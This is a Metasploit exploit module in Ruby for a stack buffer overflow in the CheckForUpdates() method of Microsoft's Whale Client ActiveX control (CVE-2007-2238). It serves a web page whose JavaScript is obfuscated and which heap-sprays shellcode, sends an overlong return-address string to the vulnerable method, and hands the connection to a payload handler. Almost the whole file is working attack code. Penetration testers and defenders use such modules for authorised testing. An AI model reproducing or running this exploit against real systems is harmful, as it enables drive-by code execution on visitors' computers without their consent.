##
# $Id: mswhale_checkforupdates.rb 9262 2010-05-09 17:45:00Z jduck $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer::HTML
def initialize(info = {})
super(update_info(info,
'Name' => 'Microsoft Whale Intelligent Application Gateway ActiveX Control Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in Microsoft Whale Intelligent Application
Gateway Whale Client. When sending an overly long string to CheckForUpdates()
method of WhlMgr.dll (3.1.502.64) an attacker may be able to execute
arbitrary code.
},
'License' => MSF_LICENSE,
'Author' => [ 'MC' ],
'Version' => '$Revision: 9262 $',
'References' =>
[
[ 'CVE', '2007-2238' ],
[ 'OSVDB', '53933'],
[ 'URL', 'http://technet.microsoft.com/en-us/library/dd282918.aspx' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 1024,
'BadChars' => "\x00",
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows XP SP0-SP3 / Windows Vista / IE 6.0 SP0-SP2 / IE 7', { 'Ret' => '' } ]
],
'DisclosureDate' => 'Apr 15 2009',
'DefaultTarget' => 0))
end
def autofilter
false
end
def check_dependencies
use_zlib
end
def on_request_uri(cli, request)
# Re-generate the payload.
return if ((p = regenerate_payload(cli)) == nil)
# fluff..
fluff = rand_text_english(rand(20) + 1)
# Encode the shellcode.
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
# Set the return.
ret = Rex::Text.uri_encode(Metasm::Shellcode.assemble(Metasm::Ia32.new, "or cl,[edx]").encode_string * 2)
js = %Q|
try {
var evil_string = "";
var index;
var vulnerable = new ActiveXObject('ComponentManager.Installer.1');
var my_unescape = unescape;
var shellcode = '#{shellcode}';
#{js_heap_spray}
sprayHeap(my_unescape(shellcode), 0x0a0a0a0a, 0x40000);
for (index = 0; index < 15000; index++) {
evil_string = evil_string + my_unescape('#{ret}');
}
vulnerable.CheckForUpdates(evil_string,'#{fluff}');
} catch( e ) { window.location = 'about:blank' ; }
|
opts = {
'Strings' => true,
'Symbols' => {
'Variables' => [
'vulnerable',
'shellcode',
'my_unescape',
'index',
'evil_string',
]
}
}
js = ::Rex::Exploitation::ObfuscateJS.new(js, opts)
js.update_opts(js_heap_spray.opts)
js.obfuscate()
content = %Q|<html>
<body>
<script><!--
#{js}
//</script>
</body>
</html>
|
print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
# Transmit the response to the client
send_response_html(cli, content)
# Handle the payload
handler(cli)
end
end
